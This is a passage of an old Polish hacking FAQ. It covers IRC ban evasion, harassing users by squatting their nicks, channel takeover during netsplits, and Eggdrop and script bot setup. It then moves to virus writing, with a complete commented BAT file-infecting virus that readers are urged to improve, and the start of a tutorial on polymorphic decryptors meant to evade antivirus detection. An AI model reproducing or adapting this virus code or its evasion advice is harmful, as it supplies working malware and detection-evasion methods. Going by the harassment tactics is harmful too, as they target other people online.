hostmask Sprawdz jakiego bana dostales /mode #kanal b Jezeli masz BANA, typu
*!*@*.pl lub podobnego nie uratujesz sie przed nim, mozesz tylko wejsc na ten
kanal, np. przez jakies swoje konto shellowe. Ale jezeli glupi OP zalozyl Ci
bana na Twoj adres IP, wystarczy zmienic ident (to przed @) , lub jezeli masz
dialupa polaczyc sie jeszcze raz. Najlepszym jednak sposobem unkniecia BANa jest
nie otrzymanie go :)

10. Glupi OP
Jezeli glupi Lame OP nie wie co to jest +r , lub wogole nic nie wie, a tak jest
czesto powiedz mu zeby napisal /mode <jego_nick> +r, teraz mozesz go wkurzac ile
Ci sie nie podoba, bo ma +r i nie moze Cie nawet  wykikac, dopoki nie rozlaczy
sie polaczy jeszcze raz

11. Screen
Jezeli masz jakies dopre konto shellowe, a jakis lame Cie naprawde wkurza,
mozesz zastosowac bardzo drastyczna metode. Zobacz jaki tfuj lame ma z reguly
nick i postaw sesje o wlasnie takim nicku na IRCu. Najlepiej pare sesji. Np.
lame ma nicka 'dupek'. Postaw sesje 'dupek', '_dupek' 'dupek_' .... itd. Ta
metoda jest dziecinne prosta ale wkurza takiegio lamera chyba najbatdziej..
dlatego jest taka drastyczna, poza tym bardzo chamska

12. Link Looker
Link Lookera mozna sciagnac z mojej strony. Jest to inteligenny prog ktory mowi
o splicie dangeo serwera, desynchu. Jezeli szybko wejdziesz na tenserv i kanal
ktory kcesz przejac moze Ci sie udac...

13. +e +i
niedawno to odkrylem
piszac /mode <kanal> +e *!*@*.pl  na kanal beda mogli wejsc tylko uzytkownicy z
domeny .pl
piszac /mode <kanal> +i *!*bohun@*.*  spowoduje to ze uzytkownik
bohun bedzie mogl wejsc na kanal bez przeszkod. Np. nie czeba na kanale trzymac
bota, ktory zaprasza.

14. Chcesz, zeby wygladalo, ze maz opa na jakims kanale? Szczegolnie zamknietym
- wykonaj: /j #(Alt+127)nazwakanalu - badz, jesli uzywasz mIRC'a:
/j(Ctrl+k,Esc)nazwakanalu - po tym gdy /whois twojnick
 
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.12    BOTY

O botach pisalem juz wczesniej, co to jest bot, itd.. Ale teraz napisze jak
takiego pana postawic na IRCu

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.12a    Co potrzebujemy

Przede wszystkim potrzebujemy konto shellowe (dopre jakies przynajmniej 5 MB).
Ja np. stawialem bota na saturn.alpha.pl i jest to bradzo dobry serv, polecam.
Potrzebujemy jeszcze program zwany eggdrop`em. Mozna najnowsza wersje sciagnac
z chyba najlepszej polskiej IRCowej strony http://www.irc.intertele.pl.
W momencie pisania tego FAQ najnowsza wersja eggdropa to Eggdrop 1.3.22, choc
nie jestem tego do konca pewien... Eggdrop zajmuje cos kolo 500KB.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.12b    Jak postawic BOTa

No wiec jezeli juz mamy Eggdropa, musimy go wrzucic na swoje konto shell.
Najlepiej przez FTP. Logujemy sie na swoje konto i Upload`ujemy pliczek na
koto do katalogu glownego ./
Mamy juz go i doprze :))
Teraz jezeli jestesmy pod Linuxem wpisujemy
SSH -l <_tfuj_login_na konto> -p <port> <server>
Po prostu sshujemy sie na konto. Pod Windowzem jest taki prog FSecure SSH.
Jestesmy na koncie.
Teraz najwazniejsze.. (UWAGA mozesz miec inny plik egdrop1.3.22.tar.gz, wiec
wpisz taka nazwe jaka masz na koncie)
Wpisz kolejno:
        gunzip eggdrop1.3.22.tar.gz
        tar -xvf eggdrop1.3.22.tar
        cd eggdrop1.3.22
        ./configure
        make install
Teraz bot zainstalowal sie w katalogu ./eggdrop
napisz "cd eggdrop" i tam bedzie plik konfiguracyjny ktory niestety bedziesz
musial edytowac (egg.config.dist) Zgraj ten plik przez FTP, na swoj dysk i
edytuj... Beda tam komentarze po angielsku ktore mozna potem powycinac.

Wejdz na swoje konto jeszcze raz przez SSH lub TELNET, przedtem oczywiscie
wrzuc ten plik z konfiguracja do katalogu ./eggdrop na koncie (zmien jego nazwe
np. 'bohun.con') i napisz na ssh:
cd eggdrop
./eggdrop -m bohun.con
BOT wystartuje... (przyjamniej powinien)
Teraz idz na IRC normalnie tak jak zawsze wchodzisz, wejdz na kanal na ktorym
postawiles tego botka (w moim przypadku #komorow) i napisz
/msg <Tfuj_bot> hello  ( w moim przypadku /msg BohNbot hello)
/msh <Tfuj_bot> pass <tfoje_haslo_na_bota>
Bot pieknie Cie powita, po czym powie Ci ze mozesz na niego wejsc przez DCC.
Zrob tak wlasie ! (DCC CHAT)

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.12c    Podstawowe komendy

Teraz podstawowe komendy DCC :
who                     - wykaz ludzi na bocie
+ban                    - banuje kogos
say                     - bot mowi na kanale
away                    - bot jest away
quit                    - rozlacza DCC CHAT
whoom                   - pokazuje kto jest na party line
-ban                    - zdejmuje bana
whois                   - pokazuje info o bocie
bans                    - lista banow
match                   - lista userow bota i info o nich
resetbans               - czysci bany
files                   - podobne jak FTP , tylko przez DCC, pliki bota
kick                    - bot kicka kogos z kanalu
bot                     - dodaje bota
op                      - opuje kogos
addlog          - dodaje log
newpass         - nowe haslo
kickban         - kicka i banuje
bottree         - drzewo botow polaczonych ze soba
deop                    - deopuje kogos
invite          - bot zaprasza na kanal kogos
chat                    - zwiazane z party_line
notes                   - Tfuj notes, msg jakie ktos ci zostawia
topic                   - zmienia topic kanalu
nick                    - zmienia nick dostepowy do bota
email                   - email
info                    - info

For masters only
chnick          - zmiana nicka
+user                   - dodaje usera
link                    - linkuje boty ze soba
status          - drukuje status line
die                     - wywala bota
chpass          - zmiana hasla mastera
+bot                    - dodaje bota
unlink          - odlinkowywuje bota
ddsstat         - statystyka polaczen z DCC bota
dump                    - dumpuje text do servera
chattr          - zmienia atrybuty dla usero`ow bota
+host                   - dodaje host dla usera
debug                   - info o wolnej pamieci
+ignore         - dodaje kogos do listy ignore
comment         - komentarz dla usera
chinfo          - zmienia info usera
banner          - text do kazdego kto jest na DCC bota
set                     - zmienia wiele funkcji zobacz .help set
ignores         - lista ignore
chemail         - zmiana maila usera
save                    - savuje bierzace ustawienia
boot                    - wywala z party_line
rehash          - laduje od poczatku plik konfiguracji
jump                    - przelacza miedzy serwerami bota
adduser         - dodaj uzytkownika, uzywajac bierzacego hostmask
binds                   - zwiazane z TCL skryptami
reload          - restart bota
flush                   - czysci buffer innego bota

-------
Powyzej wymienilem tylko najwazniejsze funkcje, jest i troche wiecej. Pamietaj
jednak ze przed wpisaniem kazdej z nich w DCC musisz postawic kropke '.' Jest
to konieczne. Zwykly text bez kropki pojdzie na party line bota i inni pod niego
podlaczeni go zobacza. Jezeli interesuja Cie inne komendy napisz .help , lub
.help komenda Po dodaniu noewgo usera, bedzie on musial w pierwszej kolejnosci
napisac /msg <bot>  pass <jego_haslo> i od tej pory tak jak ty laczac sie DCC z
botem bedzie musial je podac

Istniaja rowniez komendy MSG, czyli normalne /msg <bot>  komenda
Oto one
/MSG <bot> IDENT <password> - bot rozpoznaje cie z nowego IP
/MSG <bot> INFO <info> - tekst powitalny
/MSG <bot> INFO NONE - kasuje twoje info line.
/MSG <bot> INVITE <password> - bot zaprasza cie na kanal.
/MSG <bot> JUMP [server] - skok do innego servera.
/MSG <bot> MEMORY - pokazuje ile uzywa pamieci.
/MSG <bot> NOTES <password> INDEX - lista wiadomosci do ciebie.
/MSG <bot> NOTES <password> READ <# or ALL> - pokazuje wiadomosci
/MSG <bot> NOTES <password> ERASE <# or ALL> - kasuje wiadomosci
/MSG <bot> PASS <old> <new> - zmiana hasla
/MSG <bot> EMAIL <addr> - ustaw twoj e-mail
/MSG <bot> WHOIS <user>  - info o innym uzytkowniku bota
/MSG <bot> OP <pass> - daje Ci Opka
/MSG <bot> REHASH <password> - Restartuje konfig.file
/MSG <bot> RESET - Resetuje info o kanale
/MSG <bot> STATUS  - maly opis statusu bota
/MSG <bot> WHO  - kto jest na kanale i info o nim.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.12d    Skrypy BitchX , IRC II

Bot to nie tylko Eggdrop, choc ten wlasnie jest najlepszy. Mozna rowniez
postawic bota w postaci skryptu (red:bedzie to pozostawiona sesja IRC),
lecz bedzie to raczej zabawka.. Taki bot bedzie np. bronil przed deopem,
kickiem, bedzie reagowal na slowa wypowiedziane na kanale..
Podam tu przyklad bota ktory rowniez postawilem na kanale #komorow

---POCZATEK PLIKU---

/serv poznan.irc.pl
/nick rodzyn
/set novice off
/set display off
/set exec_protection off
/set beep off
/join #komorow
/on join * /who $0
/on join [bohun] /say cze [bohun] moj stforzycielu
/on join bob_ /say czesc Michale
/on mode "* * *+O rodzyn*" /say  dzieki  $0!!
/on public "* hello" /  cze  $0!!
/on public "* cze* rodzyn*" /  cze  $0!!
/on public "* kto* to* rodzyn*" /   Widzisz $0 jezeli juz takie pytania
zadajesz.. trduno,rodzyn to kawal gowna zeskrobanego z wlsow z dupy,
musi byc twardy i czarny, dopero wtedy jest to praffdziwy rodzyn :) $0
/on public "* * die" /  DIE??? jestem niesmiertelny!!!! :)
/on public "* * sex" /  Sorry $0 ale ja nie moge uprawiac sex`u :|
/on public "* * phreak*" /  P.H.R.E.A.K Roxx
/on public "* * hack*" /  Hacking Roxx
/on public "* * URMET*" /  Urmet !! hhehuieheiheiehiehei
/on raw_irc "*KICK * * rodzyn*" /msg rodzyn join #komorow
/on raw_irc "% JOIN %" /msg Witaj $0 na kanale zuli komoroffskich
/on msg "rodzyn rejoin" /join #komorow
/on disconnect * /serv krakow.irc.pl
/on mode "* * *-o [bohun]*" /say  NIGDY GO NIE DEOPUJ!! $0!!! ;/mode $C
+o [bohun]
/on msg "[bohun] op*" /mode $C +o $2
/on msg "[bohun] deop*" /mode $C -o $2
/on msg "[bohun] boot*" /kick $C $2
/on msg "[bohun] later" /say  BYE ALL!!! ;/exit bohun mnie wylaczyl :\!
/on msg "[bohun] serv*" /serv $2
/on msg "[bohun] join*" /join $2
/on msg "[bohun] leave*" /leave $2
/on msg "[bohun] nick*" /nick $2
/on msg "[bohun] ban*" /kick $C $2;/mode $C +b $2!*@*

---KONIEC PLIKU---

Obejrzyj ten plik i wez z niego przyklad, bo mysle ze za bardzo nie ma czego
tlumaczyc...
jezeli juz "zmontujesz" swoj zachowaj go np. jako 'user.bot' i wrzuc na konto
shellowe najlepiej do katalogu glownego. Teraz wejdz na SSH tego konta i napisz:
        screen
        irc <dowolny nick> <dowolny server>
        /load user.bot
To wszytsko, teraz bot powinien byc juz widoczny na ircu.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.13    Java IRC

Tu umieszcze kod zrodlowy html, po ktorego wstawieniu na strone bedziesz mogl
IRCowac bzeposrednio z przegladarki

---KOD---
<applet codebase=http://irc.mircx.com/javairc/ code=ConferenceRoom.class
name=chat height=250 width=600>
<param name=cabbase value=cr.cab>
<param name=server value=irc.mircx.com>
<param name=port value=7000>
<param name=channel value=#resovia>
<param name=roomswidth value=20>
<param name=bg value=ffffff>
<param name=fg value=000000>
</applet>
---KOD---

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.14    Podsieci IRC

IRCnet
IRCnet jest najpopularniejsza podsiecia w Polsce z prostej przyczyny -wszystkie
najwieksze. Do IRCnetu podlaczone sa polskie serwery:
                            - warszawa.irc.pl
                            - krakow.irc.pl
                            - lublin.irc.pl
                            - poznan.irc.pl

EFnet
EFnet byl pierwsza z grup serwerow IRC, ktora zdobyla sobie olbrzymia
popularnosc. W szybkim czasie urosl do tak wielkich rozmiarow, ze musial sie
podzielic. I tak pod nazwa EFnet kryje sie siec serwerow amerykanskich i
europejskich.
Najpopularniejsze serwery:
                            - irc2.magic.ca
                            - irc.phoenix.net
                            - irc1.cerf.net

Undernet
Undernet zostal utworzony przez grupe administratorow IRC, chcacych zapewnic
sprawniejsze funkcjonowanie sieci IRC. Siec Undernet jest calkowicie niezalezna
od sieci EFnet. Jednak do polaczenia sie z siecia Undernet uzywamy tych samych
programow klientow IRC, jak w przypadku sieci EFnet (protokol klient-serwer nie
ulegl zmianie, lepszy jest natomiast protokol, z ktorego korzystaja serwery przy
wymianie informacji miedzy soba). Siec Undernet jest z cala pewnoscia lepiej
zorganizowana, bardziej odporna na lagi i splity. Do Undernetu wprowadzonych
zostalo kilka znaczacych udogodnien, takich jak NickServ.
NickServ to inaczej robot, zajmujacy sie rezerwacja nickow (ksyw) dla
uzytkownikow. Jesli ktos zarezerwuje sobie ksywe, to przy pozniejszej probie
uzycia jej przez inna osobe, NickServ poinformuje ja o fakcie zarezerwowania
tej xwy.

DALnet
Siec DALnet powstala na poczatku 1995 r. Podstawowa idea, jaka mu przyswiecala,
bylo zapewnienie wiekszego bezpieczenstwa uzytkownikom i ukrocenie nieustannych
wojen, toczacych sie na pekajacym w szwach EFnecie. DALnet jest mala siecia,
zdobywajaca sobie jednak coraz wieksza popularnosc. Jest on bardzo dobrze
zorganizowany.                   Prowadzi wiele roznorakich uslug, majacych na
celu zaprowadzenie
                            - NickServ - rejestracja nicka
                            - ChanServ - rejestracja kanalu
                            - MemoServ - pozostawianie wiadomosci
                            - HelpServ - pomoc

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  7.15    Linki

Niezedne do IRCowania klienty, boty,... znajdziesz pod adresem
----->      http://www.irc.intertele.pl

Niezbedne do haczenia na IRCu progi natomiast znajdziesz na
----->  http://www.hack.pl/bohun  - moja strona na ktorej jest Link Looker i
Multi-CollideBot 95 (Console)
----->  http://www.underground.org.pl
----->  http://hack.zone.to
----->  http://angel.qdnet.pl


  ------------------------------- VIRII --------------------------------------


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  0    (..)



    W 1985r. dwoch wlochow wyslalo artykul do pewnej amerykanskiej gazety,
    ze pruboja napisc program, samoistnie sie mnozacy, ale im nie wychodzi
       (...) W jakies dwa miesiace pozniej pierwsze wirusy wyszly na swiat.
    Jednym z wirusow byl Michelangelo, jego autor popelnil pewien blad -
           * dal sie zlapac - i poszedl na dwa lata do ciupy. *


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.1 BAT Virii

     W tym FAQ omawiany bedzie wirus plikow wsadowych BAT. Sa to pliki takie
     jak np. AUTOEXEC.BAT, wykorzystuje sie w nich komendy DOS'a.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.1a    Komendy potrzebne do stworzenia wirusa


  Zaczniemy od zmiennych. Jedna z wazniejszych zminnych jest ERRORLEVEL-
  jest to zmienna wewnetrzna systemu DOS. My jej nie ruszamy, tylko funkcje
  DOSa i programy potrafia nadawac jej wartosci (0-255).

  Drugi rodzaj zmiennych to ZMIENNE SRODOWISKOWE. Mozna je ustawic przez
  polecenie SET. np. SET DUPA=LAMER i teraz zmienna DUPA ma wartosc LAMER.
  Jezeli chcemy "wyzerowac zmienna" piszemy" SET DUPA=" i zmienna znika!

  Trzeci rodzaj zmiennych to parametry pliku wsadowego, np. piszesz w
  prompt'cie "C:\>WIRUS.BAT 121 KOKOSZANEL arizona!" to pierwszym parametrem
  (%1) jest "121", drugim "KOKOSZANEL" (%2), a trzecim (%3) "arizona!".

  I w koncu ostatni rodzaj zmiennych - plikowe - wykorzystywane w proce-
  durze FOR ale o tym pozniej...

 -----------
     SHIFT - powoduje, ze parametry pliku wsadowego spierdalaja w lewo, a %0
     znika, np. wpisujemy sobie z prompta
     C:\>SAM.BAT CHCEMY WOLNOSCI INFORMACJI
     to %0="SAM.BAT", %1="CHCEMY", %2="WOLNOSCI", %3="INFORMACJI"
     a po uzyciu SHIFT
     to %0="CHCEMY", %1="WOLNOSCI", %2="INFORMACJI",
     i jeszcze raz SHIFT
     %0="WOLNOSCI", %1="INFORMACJI"
     uzycie:
     SHIFT (bez niczego)
 -----------
     FIND - ta komenda bedzie nam potrzebna do 2-och rzeczy.
         a) sprawdzanie, czy plik jest juz zainfekowany.
         b) kopiowanie wirusa do pliku tymczasowego

     uzywa sie jej w ten sposob:

     FIND "tekst ktory chcemy znalezc" PLIK_W_KTORYM_CHCEMY_SZKUAC

     tekst - jest to lancuch znakow ascii, ktore chcemy odszukac
     PLIK - jest plikiem w ktorym chcemy szukac.
                                                   Proste, nie ;)
     Po wykonaniu tej procedury zmienna ERRORLEVEL moze przybrac 3
     wartosci:
     0 - lancuch odnaleziony
     1 - lancuch nieznaleziony
     2 - nie ma takiego pliku!
 -----------
     GOTO - tu chyba nic nie musze omawiac - skok miedzy etykietami
     Uzycie:
     GOTO etykieta , np.

     ETY1: <-
      |        \         to spowoduje zapentlenie sie
      |         |       programu, co moze sie skonczyc resetem!
     GOTO ETY1 /
 -----------
     IF - instrukcja warunkowa - chyba nic nie musze tlumaczyc.
     UZYCIE:
     IF ERRORLEVEL <w> <komenda>
                 *lub*
     IF LANCUCH1 == LANCUCH2 <komenda>
 -----------
     ECHO - to glownie procedura demonstracyjna
     Piszesz "echo SHIT9x" i na ekranie monitora pojawia sie napis "SHIT9x"
     W innym przypadku jezeli napiszesz na poczatku pliku wsadowego
     "@echo off" to po jego uruchomieniu na ekranie bedzie o wiele mniej :)
 -----------
     FOR - ta procedura bedzie potrzebna do szukania ofiar

     FOR %%p IN (WZORZEC1 WZORZEC2 ... WZORZECx) DO <komenda>

     FOR wyszukuje pliki zgodne z wzorcem i zapisuje ich nazwy do zmiennej
     plikowej (w naszym przypadku %%p), np. w danym katalogu mamy 3 pliki
     a.exe, b.com, c.txt to komenda "FOR %%pliki IN (*.*) DO ECHO %%pliki"
     spowoduje wyswietlenie plikow na ekranie monitora        ;)
 -----------
     TYPE - wyswietla na ekranie zawartosc pliku
     uzycie TYPE <nazwa pliku>
 -----------
     Jezeli do danej komendy dopiszemy >nul to jak ma cos wyswietlic to nie
     wyswietli.
     Jezeli do danej komendy dopiszemy > [i tu nazwe pliku] to jak ma cos
     wyswietlic to nie wyswietli, tylko zalozy plik z ta wartoscia.
     Jezeli do danej komendy dopiszemy >> [i tu nazwe pliku] to jak ma cos
     wyswietlic to nie wyswietli, tylko DOPISZE do pliku.
 -----------
                            i to by bylo na tyle.       ufff.


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.1b    Budowa wirusa plikow .bat


     Wirus plikow BAT (podobnie jak kazdy inny wirus plikowy zreszta) musi:
     *Po pierwsze musi znalezc ofiare.
     *Po drugie musi sprawdzic czy jest zainfekowana.
     *Po trzecie jezeli jest 'czysta' -> ZAINFRKOWAC :)

     Schemat blokowy wyglada tak:
                                ͻ
                                START
                                ͼ
                                   
                   SZUKANIE Ŀ
                                                         
                       NZNALEZ?TĿ          
                                                        
                                        Ŀ    
                                        SPRAWDZANIE    
                                            
                    ͻ                             
                    KONIEC          NZAINFEK?T
                    ͼ       Ŀ
                  ĴINFEKCJA
                                    


     Bardzo wazne jest, zeby KAZDA LINIJKA WIRUSA zawierala TAKI SAM
 (najlepiej oryginalny) ciag znakow , np.  QWAH albo DGHSDF albo RE13HG,
                   (W naszym przypadku bedzie to "QUX")
     JEST TO NIEZBEDNE DO AUTOINDENTYFIKACJI WIRUSA, ze tak powiem.


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.1c    Kod wirusa


UWAGA! Ponizszy wirus jest malo skuteczny i prymitywny - SPECJALNIE - jezeli
czytales wszystko, podkrecenie w nim paru procedur nie sprawi ci trudnosci.
       Wskazane jest oczywiscie, zebys napisal wlasnego wiruska ;)

>CUT HERE<

REM !!!Jezeli zostal podany parametr %1 INFEKCJA to parametr %2 jest prawdo-
REM !!!podobnie nazwa pliku i wirus przechodzi do infekcji
IF "%1"=="INFEKUJ" GOTO INFECT_QUX
REM !!!a jak nie to szukamy ofiar! ale najpierw trzeba okraslic nazwe uru-
REM !!!chamianego programu wsadowego.
SET QUX=%0
if not EXIST %QUX% SET QUX=%0.BAT
if "%QUX%" == "" SET QUX=AUTOEXEC.BAT
REM !!!Nazwa ustalona. Dalej usuwamy ew. smiecie z poprz. infekcji
IF EXIST %TEMP%\~QUXCODE.BAT DEL %TEMP%\~QUXCODE.BAT
REM !!!Ustalamy nazwe kodu wiruska :))
SET EXEC=%TEMP%\~QUXCODE.BAT
REM !!!Przepisujemy wiruska do pliku tymczsowego...
TYPE %QUX%|FIND "QUX" >> %TEMP%\~QUXCODE.BAT
REM !!!Zrobione!!! Przystepujemy wywolania procedury infekujacej pliki ;)
For %%b IN (*.BAT) DO CALL %QUXEXEC% INFEKUJ %%b
REM !!!Tu sie wlasciwie wirus konczy. Txt za etykieta : I N F E C T _ Q U X to
REM !!!procedura infekujaca pliki BAT ;>
goto END_QUX
:INFECT_QUX
Shift QUX
REM !!!Sprawdzanie czy plik jest zainfekowany
FIND "QUX" %1 >nul
REM !!!jezeli tak - to koniec procedury
IF NOT ERRORLEVEL 1 GOTO DEAD_QUX
REM !!!Ty tez usuwamy ew. smiecie z poprz. infekcji
IF EXIST ~BATQUX.TMP DEL ~BATQUX.TMP
REM !!!Zmieniamy nazwe pliku infekowanego na ~ B A T Q U X . T M P
REN %1 ~BATQUX.TMP
REM !!!Dopisujemy na koncu(ale przed kodem wiruska) @echo off(wiadomo po co)
echo @echo off >> ~BATQUX.TMP
REM !!!...i przepisujemy reszte wiruska :)))
TYPE %TEMP%\~QUXCODE.BAT >> ~BATQUX.TMP
REM !!! Teraz wystarczy juz tylko zmienic nazwe na nazwe ofiary i...
REN ~BATQUX.TMP %1
REM !!!...PLIK ZAINFEKOWANY!
:END_QUX
REM !!!Zerowanie zmiennych.
SET QUXEXEC=
SET QUX=
:DEAD_QUX
REM !!! THE KONIEC !!!

>CUT HERE<


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.2     Polimorfizm


Wydaje sie ze temat jest na tyle znany, ze trudno wymyslic cos nowego.
Postaram sie przedstawic opis technik uzywanych przez wirusy przy tworzeniu
procedur deszyfrujacych, mimo ze ci, ktorzy napisali juz wlasny engine moga
je znac. Kiedys czytalem w opisie pewnego programu antywirusowego ze wirusy
polimorficzne sa juz na wymarciu, po kilku miesiacach ten tekst w dziwny
sposob "znikl", chyba wiec nie jest tak zle. Zaczynamy.

1. Wstep,
2. Co to jest polimorfizm?
3. Rodzaje polimorfizmu z podzialem na poziomy zaawansowania,
4. Podatnosc na heurystyke,
5. Techniki "dodatkowe"
6. Zakonczenie.



  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.2a    Wstep


W tekscie wykorzystalem znaczna czesc materialow ktore napisalem jeszcze
w 1997 roku, chcialem wtedy napisac ksiazke o wirusach komputerowych ze
szczegolowym opisem metod szyfrowania wirusow, niestety wydawnictwo "Helion"
nie bylo zainteresowane jej wydaniem. Czesc z opisanych przeze mnie technik
zastosowalem w wirusach, jeszcze 2 miesiace temu bylem czlonkiem grupy VX
o nazwie VRU, prawdopodobnie juz nieistniejacej. Zanim przystapilem do pisania
tego tekstu szukalem roznych informacji w necie na temat polimorfizmu, przy
odrobinie cierpliwosci mozna znalezc znakomite opracowania Lorda Julusa,
Benny'ego czy Z0mBie (wszyscy sa lub byli czlonkami 29a), jednak pomimo
usilnych staran nie znalazlem niczego o procesorach serii 68k firmy Motorola.
Procesor ten byl uzywany w komputerach Amiga, Mac, AtariST, oraz w Palm'ie,
jednak nie natknalem sie na zaden porzadny generator nie liczac poly_engine'a
z wirusa BEOL96 (AmigaOS), ktory znalazlem w zinie Xine#2. Zdecydowalem sie
zamiescic przykladowe procedury napisane w jezyku assemblera obydwu
procesorow. Gdyby ktos chcial dowiedziec sie czegos wiecej o 68k, zapraszam
do korespondencji: mad_roger@wp.pl


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.2b    Co to jest polimorfizm


Ogolnie rzecz biorac jest to zespol technik majacych za zadanie zmiane wygladu
wirusa w kazdym zarazonym pliku. Przewaznie chodzi o zmiane procedury
deszyfrujacej kod wirusa. Napisalem "przewaznie" gdyz w wiekszosci przypadkow
chodzi badz o zmiany w procedurze dekodujacej, badz o stworzenie calkowicie
nowej procedury dekodujacej zachowujacej funkcjonalnosc pierwowzoru. Zajmijmy
sie na chwile wirusami szyfrujacymi swoj kod przy pomocy stalej procedury,
i stalych lub zmiennych argumentow. To czy wirus zmienia argumenty w kazdej
nastepnej kopii jest akurat nieistotne, z reguly jest to kilka bajtow
zmiennych w kilkudziesieciobajtowym kodzie. Taki kod moze zostac wykryty przez
najbardziej lamerski program antywirusowy przy uzyciu technik heurystycznych.
Metoda wykrywania takich wirusow to zwykly scan-string, czasem z symbolami
zastepczymi. W laboratoriach zajmujacych sie opracowywaniem metod wykrywania
wirusow zwykly wirus, lub "wirus" typu *.VBS zostaje doslownie zabity w ciagu
najwyzej 5 minut. Istnieja gotowe systemy uruchomieniowe ktore nie daja
takiemu wirusowi zadnych szans. Co wiec mozna zrobic aby uniknac wykrycia
i tym samym maksymalnie wydluzyc czas opracowania skutecznego "lekarstwa"?
Odpowiedz nasuwa sie sama, zastosowac polimorfizm. Dziwi mnie fakt, ze ludzie
piszac wirusa doslownie marnuja doskonale pomysly na infekcje systemu i plikow
nie wyposazajac go w jakiekolwiek techniki obrony przed programami
antywirusowymi. Dla mnie czas poswiecony przez autora na pisanie wirusa lepiej
spozytkowac na picie piwa. Tymczasem napisanie porzadnego generatora procedur
dekodujacych jest czynnoscia, od ktorej NALEZY ZACZAC pisanie wirusa. Owszem,
mozna skorzystac z juz istniejacych generatorow, jednak nalezy pamietac ze sa
one dobrze znane firmom tworzacym oprogramowanie antywirusowe.


  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  8.2c     Rodzaje polimorfizmu z podzialem na poziomy zaawansowania.


Kilka lat temu sklasyfikowano istniejace wowczas wirusy pod wzgledem
zlozonosci tworzonych procedur dekodujacych. Ustalono wtedy cztery poziomy
komplikacji takich procedur pod wzgledem budowy. Jak sie okazalo pozniej
byl to zabieg bezcelowy, gdyz wymyslono techniki nie dajace sie zakwalifikowac
do zadnej grupy. Przytocze je jednak dla przypomnienia wraz z przykladami.
Sama budowa dekoderow zostala jednak uproszczona na potrzeby tego artykulu,
mozna bowiem zastosowac jeszcze kilka technik, aby zmienic dekoder w wiekszym
stopniu niz wynika to z definicji, o tym jednak w rozdziale 8.2e. Rowniez dla
potrzeb artykulu pominiete zostaly "niestandardowe" mechanizmy infekcji
plikow wymagajace przechowania rejestrow procesora na stosie. Troche wiecej
miejsca poswiecilem temu w rozdziale... 8.2e.

  Level 1
  -------

  Polega na tworzeniu procedury deszyfrujacej, w ktorej uklad instrukcji
  pozostaje staly. Instrukcje nie sa zmieniane na inne, nie zmieniaja sie tez
  rejestry na ktorych one operuja. Zmianom moga ulegac tylko argumenty dla
  instrukcji dekodujacych. Dekodery stosujace ten poziom sa bardzo latwe do
  wykrycia przy pomocy scan-stringu ze znakami zastepczymi. Jesli chodzi o
  zmiennosc kodu wirusa, praktycznie szyfrowana czesc wyglada za kazdym razem
  inaczej, do znalezienia wirusa mozna uzyc tylko procedury deszyfrujacej.
  Poziom ten jest jedynie odnosnikiem dla nastepnych.

  Uwagi:
  !!!!!!

  W przypadku x86 zastosowalem 16bitowa procedure, dziala podobnie jak
  32bitowa pod Windowsami czy Linuxem. W przypadku 68k zastosowany zostal tryb
  adresowania postinkrement, automatycznie zwiekszajacy rejestr o rozmiar
  operacji. W przypadku 68k dane przesylane sa ze zrodla do celu z lewa
  na prawo, w x86 notacja jest odwrotna. Rowniez rozkazy z kropkami: litery po
  kropce oznaczaja rozmiar operacji, jesli nie ma kropki oznacza to ze
  instrukcja operuje na pelnych 32 bitach. Jesli chodzi o konwencje skokow -
  - w x86 rozkaz JNE (Jump if Not Equal) jest dokladnym odpowiednikiem rozkazu
  BNE (Branch if Not Equal) z 68k. Niektore instrukcje procesora 68k uzywaja
  trybu adresowania wzgledem licznika programu PC (Program Counter), rejestr
  ten ma identyczne dzialanie jak IP na x86 (Instruction Pointer). W 68k licznik
  programu zawsze wskazuje na aktualnie wykonywana instrukcje. Reszta powinna
  byc zrozumiala.


  Przyklady:
  ----------

  x86:                                68k:


